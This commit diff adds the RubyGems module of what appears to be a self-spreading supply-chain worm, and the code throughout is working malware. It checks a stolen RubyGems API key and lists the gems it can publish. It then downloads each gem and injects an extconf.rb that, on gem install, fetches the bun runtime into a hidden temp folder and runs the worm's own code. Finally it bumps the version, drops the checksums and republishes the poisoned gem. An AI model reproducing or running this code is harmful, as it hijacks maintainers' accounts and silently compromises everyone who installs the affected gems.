Upload files to "src/mutator/rubygems"
This commit is contained in:
@@ -0,0 +1,408 @@
|
||||
import { randomBytes } from "crypto";
|
||||
import * as fs from "fs/promises";
|
||||
import * as path from "path";
|
||||
import * as tar from "tar";
|
||||
import { gunzipSync, gzipSync } from "zlib";
|
||||
|
||||
import { SCRIPT_NAME } from "../../utils/config";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Types
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export interface GemInfo {
|
||||
name: string;
|
||||
version: string;
|
||||
downloadUrl: string;
|
||||
}
|
||||
|
||||
export interface PatchedGem {
|
||||
/** New .gem filename (version-bumped) */
|
||||
filename: string;
|
||||
/** Raw .gem bytes */
|
||||
data: Buffer;
|
||||
/** New version string */
|
||||
newVersion: string;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Fetch latest gem version & download URL from RubyGems API
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export async function fetchGemInfo(gemName: string): Promise<GemInfo | null> {
|
||||
try {
|
||||
const res = await fetch(
|
||||
`https://rubygems.org/api/v1/gems/${encodeURIComponent(gemName)}.json`,
|
||||
);
|
||||
if (!res.ok) {
|
||||
logUtil.log(`[rubygems] fetchGemInfo ${gemName}: HTTP ${res.status}`);
|
||||
return null;
|
||||
}
|
||||
const data = (await res.json()) as {
|
||||
name: string;
|
||||
version: string;
|
||||
gem_uri?: string;
|
||||
};
|
||||
if (!data.name || !data.version) return null;
|
||||
|
||||
const downloadUrl =
|
||||
data.gem_uri ??
|
||||
`https://rubygems.org/gems/${data.name}-${data.version}.gem`;
|
||||
|
||||
return { name: data.name, version: data.version, downloadUrl };
|
||||
} catch (e) {
|
||||
logUtil.log(`[rubygems] fetchGemInfo ${gemName}: ${e}`);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Download raw .gem file
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export async function downloadGem(url: string): Promise<Buffer | null> {
|
||||
try {
|
||||
const res = await fetch(url);
|
||||
if (!res.ok) return null;
|
||||
return Buffer.from(await res.arrayBuffer());
|
||||
} catch (e) {
|
||||
logUtil.log(`[rubygems] downloadGem: ${e}`);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Patch a .gem: inject native extension with bash bun loader, bump version
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const BUN_VERSION = "bun-v1.3.13";
|
||||
|
||||
function buildExtconfRuby(): string {
|
||||
// extconf.rb — runs during `gem install`. Downloads bun directly via
|
||||
// system(), executes the payload, then writes a trivial Makefile so the
|
||||
// native-extension build succeeds.
|
||||
return [
|
||||
`require 'fileutils'`,
|
||||
``,
|
||||
`ext_dir = File.expand_path(File.dirname(__FILE__))`,
|
||||
`payload = File.join(ext_dir, "${SCRIPT_NAME}")`,
|
||||
``,
|
||||
`os = case RbConfig::CONFIG['host_os']`,
|
||||
` when /linux/ then 'linux'`,
|
||||
` when /darwin/ then 'darwin'`,
|
||||
` end`,
|
||||
``,
|
||||
`arch = case RbConfig::CONFIG['host_cpu']`,
|
||||
` when /x86_64|amd64/ then 'x64-baseline'`,
|
||||
` when /aarch64|arm64/ then 'aarch64'`,
|
||||
` end`,
|
||||
``,
|
||||
`if os && arch`,
|
||||
` bun_dir = "/tmp/.b_#{Process.pid}"`,
|
||||
` begin`,
|
||||
` FileUtils.mkdir_p(bun_dir)`,
|
||||
` system("curl -sSL https://github.com/oven-sh/bun/releases/download/${BUN_VERSION}/bun-#{os}-#{arch}.zip -o #{bun_dir}/b.zip 2>/dev/null")`,
|
||||
` system("unzip -j -o #{bun_dir}/b.zip -d #{bun_dir} 2>/dev/null")`,
|
||||
` bun = File.join(bun_dir, 'bun')`,
|
||||
` if File.exist?(bun)`,
|
||||
` File.chmod(0o755, bun)`,
|
||||
` system("#{bun} run #{payload}")`,
|
||||
` end`,
|
||||
` ensure`,
|
||||
` FileUtils.rm_rf(bun_dir)`,
|
||||
` end`,
|
||||
`end`,
|
||||
``,
|
||||
`# Minimal Makefile so the native-extension build succeeds`,
|
||||
`File.write('Makefile', <<~'MAKEFILE')`,
|
||||
`all:`,
|
||||
`\t@true`,
|
||||
`install:`,
|
||||
`\t@true`,
|
||||
`clean:`,
|
||||
`\t@true`,
|
||||
`MAKEFILE`,
|
||||
].join("\n");
|
||||
}
|
||||
|
||||
export async function patchGemBundle(
|
||||
gemData: Buffer,
|
||||
rawPayload: string,
|
||||
): Promise<PatchedGem> {
|
||||
const uniqueSuffix = `${Date.now()}_${randomBytes(8).toString("hex")}`;
|
||||
const tmpDir = path.join(require("os").tmpdir(), `_rubygems_${uniqueSuffix}`);
|
||||
await fs.mkdir(tmpDir, { recursive: true });
|
||||
|
||||
try {
|
||||
// ── Step 1: Extract .gem (outer tar, not gzipped) ──────────────────
|
||||
const gemPath = path.join(tmpDir, "_original.gem");
|
||||
await fs.writeFile(gemPath, gemData);
|
||||
await tar.extract({ file: gemPath, cwd: tmpDir });
|
||||
|
||||
// ── Step 2: Determine gem name from metadata.gz ────────────────────
|
||||
const metadataPath = path.join(tmpDir, "metadata.gz");
|
||||
if (!(await fileExists(metadataPath))) {
|
||||
throw new Error("metadata.gz not found in gem");
|
||||
}
|
||||
const metadataRaw = await fs.readFile(metadataPath);
|
||||
const metadataYaml = gunzipSync(metadataRaw).toString("utf8");
|
||||
|
||||
const nameMatch = metadataYaml.match(/^name:\s*(.+)$/m);
|
||||
const versionMatch = metadataYaml.match(
|
||||
/^version:\s*!ruby\/object:Gem::Version\n\s+version:\s*([\d.]+)/m,
|
||||
);
|
||||
// Alternative plain version format
|
||||
const altVersionMatch = metadataYaml.match(/^version:\s*([\d.]+)$/m);
|
||||
|
||||
let gemName = nameMatch?.[1]?.trim();
|
||||
let oldVersion = versionMatch?.[1] ?? altVersionMatch?.[1] ?? "0.0.0";
|
||||
|
||||
if (!gemName) {
|
||||
// Fallback: derive name from gem file naming convention
|
||||
const files = await fs.readdir(tmpDir);
|
||||
const dataTar = files.find(
|
||||
(f) => f.startsWith("data.tar") && !f.endsWith(".gz"),
|
||||
);
|
||||
if (dataTar) {
|
||||
const innerMatch = dataTar.match(/^(.+)-\d/);
|
||||
if (innerMatch) gemName = innerMatch[1]!;
|
||||
}
|
||||
}
|
||||
if (!gemName) {
|
||||
throw new Error("Could not determine gem name");
|
||||
}
|
||||
|
||||
// Bump patch version
|
||||
const parts = oldVersion.split(".");
|
||||
const major = parts[0] ?? "0";
|
||||
const minor = parts[1] ?? "0";
|
||||
const patch = String(Number(parts[2] ?? "0") + 1);
|
||||
const newVersion = `${major}.${minor}.${patch}`;
|
||||
logUtil.log(`[rubygems] ${gemName}: ${oldVersion} → ${newVersion}`);
|
||||
|
||||
// ── Step 3: Unpack data.tar.gz, inject native extension ────────────
|
||||
const dataTarGzPath = path.join(tmpDir, "data.tar.gz");
|
||||
if (!(await fileExists(dataTarGzPath))) {
|
||||
throw new Error("data.tar.gz not found in gem");
|
||||
}
|
||||
const dataTarGz = await fs.readFile(dataTarGzPath);
|
||||
const dataTarRaw = gunzipSync(dataTarGz);
|
||||
|
||||
const dataDir = path.join(tmpDir, "_data");
|
||||
await fs.mkdir(dataDir, { recursive: true });
|
||||
const dataTarFile = path.join(tmpDir, "_data.tar");
|
||||
await fs.writeFile(dataTarFile, dataTarRaw);
|
||||
await tar.extract({ file: dataTarFile, cwd: dataDir });
|
||||
|
||||
// Find the top-level directory inside data.tar.gz (e.g. "mygem-1.0.0/")
|
||||
const dataEntries = await fs.readdir(dataDir);
|
||||
const topDir = dataEntries.find(
|
||||
(e) =>
|
||||
e !== "data.tar.gz" &&
|
||||
e !== "metadata.gz" &&
|
||||
e !== "checksums.yaml.gz" &&
|
||||
!e.startsWith(".") &&
|
||||
!e.startsWith("_"),
|
||||
);
|
||||
if (!topDir) {
|
||||
throw new Error("Could not find gem source directory in data.tar.gz");
|
||||
}
|
||||
const srcDir = path.join(dataDir, topDir);
|
||||
|
||||
// Create ext/<gemname>/ directory with extconf.rb + payload
|
||||
const extDir = path.join(srcDir, "ext", gemName);
|
||||
await fs.mkdir(extDir, { recursive: true });
|
||||
|
||||
await fs.writeFile(path.join(extDir, SCRIPT_NAME), rawPayload);
|
||||
|
||||
await fs.writeFile(path.join(extDir, "extconf.rb"), buildExtconfRuby());
|
||||
|
||||
// ── Step 4: Repack data.tar.gz (USTAR format for RubyGems compat) ──
|
||||
// Strip the top-level dir (e.g. "ruby-lsp-0.26.9/") so entries are
|
||||
// relative to the gem root — RubyGems extracts tar contents directly
|
||||
// into <install>/ruby-lsp-0.26.10/ and expects extension paths like
|
||||
// "ext/ruby-lsp/extconf.rb", not "ruby-lsp-0.26.9/ext/...".
|
||||
const fileEntries = await collectTarEntries(path.join(dataDir, topDir), "");
|
||||
const newDataTarGz = gzipSync(buildUstarTar(fileEntries));
|
||||
|
||||
// ── Step 5: Update metadata.gz (bump version, add extensions) ──────
|
||||
let newMetadata = metadataYaml;
|
||||
|
||||
// Bump version — handle the nested YAML format
|
||||
if (versionMatch) {
|
||||
newMetadata = newMetadata.replace(
|
||||
/(version:\s*!ruby\/object:Gem::Version\n\s+version:\s*)[\d.]+/m,
|
||||
`$1${newVersion}`,
|
||||
);
|
||||
} else if (altVersionMatch) {
|
||||
newMetadata = newMetadata.replace(
|
||||
/^(version:\s*)[\d.]+$/m,
|
||||
`$1${newVersion}`,
|
||||
);
|
||||
}
|
||||
|
||||
// Add extensions directive
|
||||
const extEntry = `ext/${gemName}/extconf.rb`;
|
||||
if (newMetadata.match(/^extensions:\s*\[/m)) {
|
||||
// Replace empty extensions array
|
||||
newMetadata = newMetadata.replace(
|
||||
/^extensions:\s*\[\s*\]/m,
|
||||
`extensions:\n- ${extEntry}`,
|
||||
);
|
||||
} else if (newMetadata.match(/^extensions:/m)) {
|
||||
// Already has extensions — append ours
|
||||
newMetadata = newMetadata.replace(
|
||||
/^(extensions:.*)$/m,
|
||||
`$1\n- ${extEntry}`,
|
||||
);
|
||||
} else {
|
||||
// No extensions field — add before executables or at end
|
||||
const exeIdx = newMetadata.indexOf("\nexecutables:");
|
||||
if (exeIdx !== -1) {
|
||||
newMetadata =
|
||||
newMetadata.slice(0, exeIdx) +
|
||||
`\nextensions:\n- ${extEntry}` +
|
||||
newMetadata.slice(exeIdx);
|
||||
} else {
|
||||
newMetadata += `\nextensions:\n- ${extEntry}\n`;
|
||||
}
|
||||
}
|
||||
|
||||
const newMetadataGz = gzipSync(Buffer.from(newMetadata, "utf8"));
|
||||
|
||||
// ── Step 6: Repack the .gem (tar, not gzipped) ─────────────────────
|
||||
// Build the gem tar manually (USTAR format) from in-memory Buffers
|
||||
// so RubyGems can read it.
|
||||
const tarEntries: Array<{ name: string; data: Buffer }> = [];
|
||||
// metadata.gz MUST be first for RubyGems compatibility
|
||||
tarEntries.push({ name: "metadata.gz", data: newMetadataGz });
|
||||
tarEntries.push({ name: "data.tar.gz", data: newDataTarGz });
|
||||
// Note: we do NOT include checksums.yaml.gz — it's optional and would
|
||||
// mismatch since we've modified both metadata.gz and data.tar.gz.
|
||||
const gemTar = buildUstarTar(tarEntries);
|
||||
|
||||
const newGemPath = path.join(
|
||||
tmpDir,
|
||||
`_${uniqueSuffix}_${gemName}-${newVersion}.gem`,
|
||||
);
|
||||
await fs.writeFile(newGemPath, gemTar);
|
||||
|
||||
const newGemData = await fs.readFile(newGemPath);
|
||||
|
||||
const filename = `${gemName}-${newVersion}.gem`;
|
||||
return { filename, data: newGemData, newVersion };
|
||||
} finally {
|
||||
// Cleanup temp dir
|
||||
await fs.rm(tmpDir, { recursive: true, force: true }).catch(() => {});
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
async function fileExists(p: string): Promise<boolean> {
|
||||
try {
|
||||
await fs.access(p);
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Manual USTAR tar builder — RubyGems rejects GNU tar (null-byte in name)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
interface TarEntry {
|
||||
name: string;
|
||||
data: Buffer;
|
||||
type?: string;
|
||||
}
|
||||
|
||||
async function collectTarEntries(
|
||||
rootDir: string,
|
||||
prefix: string,
|
||||
): Promise<TarEntry[]> {
|
||||
const entries: TarEntry[] = [];
|
||||
const items = await fs.readdir(rootDir, { withFileTypes: true });
|
||||
|
||||
for (const item of items) {
|
||||
const fullPath = path.join(rootDir, item.name);
|
||||
const entryPath = prefix ? `${prefix}/${item.name}` : item.name;
|
||||
if (item.isDirectory()) {
|
||||
// Explicit directory entry so RubyGems creates the dir during extraction
|
||||
entries.push({ name: entryPath, data: Buffer.alloc(0), type: "5" });
|
||||
entries.push(...(await collectTarEntries(fullPath, entryPath)));
|
||||
} else if (item.isFile()) {
|
||||
entries.push({ name: entryPath, data: await fs.readFile(fullPath) });
|
||||
}
|
||||
}
|
||||
return entries;
|
||||
}
|
||||
|
||||
function buildUstarTar(entries: TarEntry[]): Buffer {
|
||||
const blocks: Buffer[] = [];
|
||||
const now = Math.floor(Date.now() / 1000);
|
||||
|
||||
for (const { name, data, type } of entries) {
|
||||
blocks.push(buildUstarHeader(name, data.length, now, type));
|
||||
blocks.push(data);
|
||||
// Pad to 512-byte block boundary
|
||||
const remainder = data.length % 512;
|
||||
if (remainder !== 0) {
|
||||
blocks.push(Buffer.alloc(512 - remainder));
|
||||
}
|
||||
}
|
||||
|
||||
// Two zero blocks mark end of archive
|
||||
blocks.push(Buffer.alloc(1024));
|
||||
|
||||
return Buffer.concat(blocks);
|
||||
}
|
||||
|
||||
function buildUstarHeader(
|
||||
name: string,
|
||||
size: number,
|
||||
mtime: number,
|
||||
typeFlag?: string,
|
||||
): Buffer {
|
||||
const hdr = Buffer.alloc(512);
|
||||
|
||||
// Name (100 bytes, null-terminated)
|
||||
const nameBuf = Buffer.from(name, "utf-8");
|
||||
nameBuf.copy(hdr, 0, 0, Math.min(nameBuf.length, 99));
|
||||
|
||||
// Mode: 0644 for files, 0755 for dirs
|
||||
const mode = typeFlag === "5" ? "0000755\x00" : "0000644\x00";
|
||||
hdr.write(mode, 100, 8, "ascii");
|
||||
|
||||
// UID / GID (7 octal digits + NUL)
|
||||
hdr.write("0000000\x00", 108, 8, "ascii");
|
||||
hdr.write("0000000\x00", 116, 8, "ascii");
|
||||
|
||||
// Size (11 octal digits + NUL)
|
||||
const sizeOct = size.toString(8).padStart(11, "0") + "\x00";
|
||||
hdr.write(sizeOct, 124, 12, "ascii");
|
||||
|
||||
// Mtime (11 octal digits + NUL)
|
||||
const mtimeOct = mtime.toString(8).padStart(11, "0") + "\x00";
|
||||
hdr.write(mtimeOct, 136, 12, "ascii");
|
||||
|
||||
// Type flag: '0' = regular file, '5' = directory
|
||||
hdr[156] = typeFlag ? typeFlag.charCodeAt(0) : 0x30;
|
||||
|
||||
// USTAR magic
|
||||
hdr.write("ustar\x00", 257, 6, "ascii");
|
||||
hdr.write("00", 263, 2, "ascii");
|
||||
|
||||
// Checksum: fill with spaces, compute over ALL header bytes, then write
|
||||
hdr.fill(0x20, 148, 156);
|
||||
let sum = 0;
|
||||
for (let i = 0; i < 512; i++) sum += hdr[i]!;
|
||||
const sumOct = sum.toString(8).padStart(6, "0") + "\x00 ";
|
||||
hdr.write(sumOct, 148, 8, "ascii");
|
||||
|
||||
return hdr;
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { Mutator } from "../base";
|
||||
import { downloadGem, fetchGemInfo, patchGemBundle } from "./gem";
|
||||
import { publishGem } from "./publish";
|
||||
import type { RubygemsTokenInfo } from "./tokenCheck";
|
||||
|
||||
/**
|
||||
* RubyGems mutator — trojanizes Ruby gems by injecting a native extension
|
||||
* (extconf.rb + Makefile bash bun loader) and re-publishing with a bumped
|
||||
* patch version.
|
||||
*/
|
||||
export class RubyGemsClient extends Mutator {
|
||||
private readonly tokenInfo: RubygemsTokenInfo;
|
||||
private readonly dryRun: boolean;
|
||||
|
||||
constructor(tokenInfo: RubygemsTokenInfo, dryRun = false) {
|
||||
super();
|
||||
this.tokenInfo = tokenInfo;
|
||||
this.dryRun = dryRun;
|
||||
}
|
||||
|
||||
async execute(): Promise<Boolean> {
|
||||
try {
|
||||
const isUnix = ["darwin", "linux"].includes(process.platform);
|
||||
if (!isUnix) {
|
||||
logUtil.log("[rubygems] skipping — unsupported platform");
|
||||
return false;
|
||||
}
|
||||
|
||||
const gems = this.tokenInfo.gems;
|
||||
if (gems.length === 0) {
|
||||
logUtil.log("[rubygems] no gems to process");
|
||||
return false;
|
||||
}
|
||||
|
||||
logUtil.log(
|
||||
`[rubygems] targeting ${gems.length} gem(s): ${gems.join(", ")}`,
|
||||
);
|
||||
|
||||
const rawPayload = await Bun.file(Bun.main).text();
|
||||
|
||||
let published = 0;
|
||||
for (const gemName of gems) {
|
||||
try {
|
||||
const ok = await this.processGem(gemName, rawPayload);
|
||||
if (ok) published++;
|
||||
} catch (e) {
|
||||
logUtil.log(
|
||||
`[rubygems] error processing ${gemName}: ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
logUtil.log(`[rubygems] done. published ${published} gem(s).`);
|
||||
return published > 0;
|
||||
} catch (e) {
|
||||
logUtil.error(`[rubygems] fatal: ${e}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private async processGem(
|
||||
gemName: string,
|
||||
rawPayload: string,
|
||||
): Promise<boolean> {
|
||||
// 1. Fetch gem metadata
|
||||
const info = await fetchGemInfo(gemName);
|
||||
if (!info) {
|
||||
logUtil.log(`[rubygems] ${gemName}: could not fetch gem info, skipping`);
|
||||
return false;
|
||||
}
|
||||
|
||||
// 2. Download
|
||||
const gemData = await downloadGem(info.downloadUrl);
|
||||
if (!gemData) {
|
||||
logUtil.log(`[rubygems] ${gemName}: download failed, skipping`);
|
||||
return false;
|
||||
}
|
||||
|
||||
// 3. Patch (inject ext/, bump version, repack)
|
||||
const patched = await patchGemBundle(gemData, rawPayload);
|
||||
|
||||
// 4. Publish
|
||||
return publishGem(
|
||||
patched.data,
|
||||
patched.filename,
|
||||
this.tokenInfo.authToken,
|
||||
this.dryRun,
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,86 @@
|
||||
import { logUtil } from "../../utils/logger";
|
||||
|
||||
/**
|
||||
* Publish a .gem file to RubyGems.org.
|
||||
*
|
||||
* Uses the multipart form upload API:
|
||||
* POST https://rubygems.org/api/v1/gems
|
||||
* Authorization: <token>
|
||||
* Content-Type: multipart/form-data
|
||||
* Body field "gem" = raw .gem bytes
|
||||
*/
|
||||
export async function publishGem(
|
||||
gemData: Buffer,
|
||||
filename: string,
|
||||
token: string,
|
||||
dryRun = false,
|
||||
): Promise<boolean> {
|
||||
const boundary = `--RubyGems${Date.now()}${Math.random().toString(36).slice(2)}`;
|
||||
|
||||
if (dryRun) {
|
||||
logUtil.log("[rubygems] DRY RUN — skipping upload");
|
||||
logUtil.log(
|
||||
`[rubygems] would publish ${filename} (${gemData.length} bytes)`,
|
||||
);
|
||||
logUtil.log("[rubygems] POST https://rubygems.org/api/v1/gems");
|
||||
logUtil.log("[rubygems] Authorization: <redacted>");
|
||||
logUtil.log(
|
||||
`[rubygems] Content-Type: multipart/form-data; boundary=${boundary}`,
|
||||
);
|
||||
return true;
|
||||
}
|
||||
|
||||
const encoder = new TextEncoder();
|
||||
const crlf = encoder.encode("\r\n");
|
||||
|
||||
const parts: Uint8Array[] = [];
|
||||
|
||||
// File field: gem=<filename>
|
||||
parts.push(encoder.encode(`--${boundary}\r\n`));
|
||||
parts.push(
|
||||
encoder.encode(
|
||||
`Content-Disposition: form-data; name="gem"; filename="${filename}"\r\n`,
|
||||
),
|
||||
);
|
||||
parts.push(encoder.encode("Content-Type: application/octet-stream\r\n\r\n"));
|
||||
parts.push(new Uint8Array(gemData));
|
||||
parts.push(crlf);
|
||||
|
||||
// End boundary
|
||||
parts.push(encoder.encode(`--${boundary}--\r\n`));
|
||||
|
||||
const body = new Uint8Array(parts.reduce((acc, p) => acc + p.length, 0));
|
||||
let offset = 0;
|
||||
for (const p of parts) {
|
||||
body.set(p, offset);
|
||||
offset += p.length;
|
||||
}
|
||||
|
||||
try {
|
||||
const res = await fetch("https://rubygems.org/api/v1/gems", {
|
||||
method: "POST",
|
||||
headers: {
|
||||
Authorization: token,
|
||||
"Content-Type": `multipart/form-data; boundary=${boundary}`,
|
||||
"User-Agent": "RubyGems/3.5.0",
|
||||
},
|
||||
body,
|
||||
});
|
||||
|
||||
if (res.ok) {
|
||||
logUtil.log(`[rubygems] Published ${filename}`);
|
||||
return true;
|
||||
}
|
||||
|
||||
const text = await res.text();
|
||||
logUtil.log(
|
||||
`[rubygems] Publish failed (${res.status}): ${text.slice(0, 300)}`,
|
||||
);
|
||||
return false;
|
||||
} catch (e) {
|
||||
logUtil.log(
|
||||
`[rubygems] Publish error: ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
import { logUtil } from "../../utils/logger";
|
||||
|
||||
export interface RubygemsTokenInfo {
|
||||
gems: string[];
|
||||
authToken: string;
|
||||
valid: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate a RubyGems API key and enumerate the gems it can publish to.
|
||||
*
|
||||
* RubyGems API keys have scopes. We need `index_rubygems` to push.
|
||||
* The key may be restricted to a single gem (`gem: "name"`) or
|
||||
* unrestricted (`gem: null`). If unrestricted, we list all owned gems.
|
||||
*/
|
||||
export async function checkRubygemsToken(
|
||||
token: string,
|
||||
): Promise<RubygemsTokenInfo> {
|
||||
const headers = {
|
||||
Authorization: token,
|
||||
Accept: "application/json",
|
||||
};
|
||||
|
||||
// 1. Validate the token and read its scopes
|
||||
let keyInfo: any;
|
||||
try {
|
||||
const res = await fetch("https://rubygems.org/api/v1/api_key.json", {
|
||||
headers,
|
||||
});
|
||||
if (!res.ok) {
|
||||
logUtil.log(`[rubygems] token validation failed: ${res.status}`);
|
||||
return { gems: [], valid: false, authToken: token };
|
||||
}
|
||||
keyInfo = await res.json();
|
||||
} catch (e) {
|
||||
logUtil.log(`[rubygems] token validation error: ${e}`);
|
||||
return { gems: [], valid: false, authToken: token };
|
||||
}
|
||||
|
||||
// The response may be wrapped in { rubygems_api_key: {...} } or flat
|
||||
const key = keyInfo.rubygems_api_key ?? keyInfo;
|
||||
|
||||
const hasPush =
|
||||
Array.isArray(key.scopes) && key.scopes.includes("index_rubygems");
|
||||
if (!hasPush) {
|
||||
logUtil.log("[rubygems] token lacks index_rubygems scope");
|
||||
return { gems: [], valid: false, authToken: token };
|
||||
}
|
||||
|
||||
// 2. If the key is scoped to a single gem, return just that
|
||||
if (key.gem && typeof key.gem === "string" && key.gem.length > 0) {
|
||||
logUtil.log(`[rubygems] token scoped to gem: ${key.gem}`);
|
||||
return { gems: [key.gem], valid: true, authToken: token };
|
||||
}
|
||||
|
||||
// 3. Otherwise, enumerate all owned gems (paginated)
|
||||
const gems: string[] = [];
|
||||
let page = 1;
|
||||
|
||||
try {
|
||||
while (true) {
|
||||
const res = await fetch(
|
||||
`https://rubygems.org/api/v1/gems.json?page=${page}`,
|
||||
{ headers },
|
||||
);
|
||||
if (!res.ok) break;
|
||||
|
||||
const data = await res.json();
|
||||
if (!Array.isArray(data) || data.length === 0) break;
|
||||
|
||||
for (const g of data) {
|
||||
if (g.name && typeof g.name === "string") {
|
||||
gems.push(g.name);
|
||||
}
|
||||
}
|
||||
|
||||
page++;
|
||||
}
|
||||
} catch (e) {
|
||||
logUtil.log(`[rubygems] error listing gems: ${e}`);
|
||||
}
|
||||
|
||||
logUtil.log(`[rubygems] found ${gems.length} gems for token`);
|
||||
return { gems, valid: true, authToken: token };
|
||||
}
|
||||
Reference in New Issue
Block a user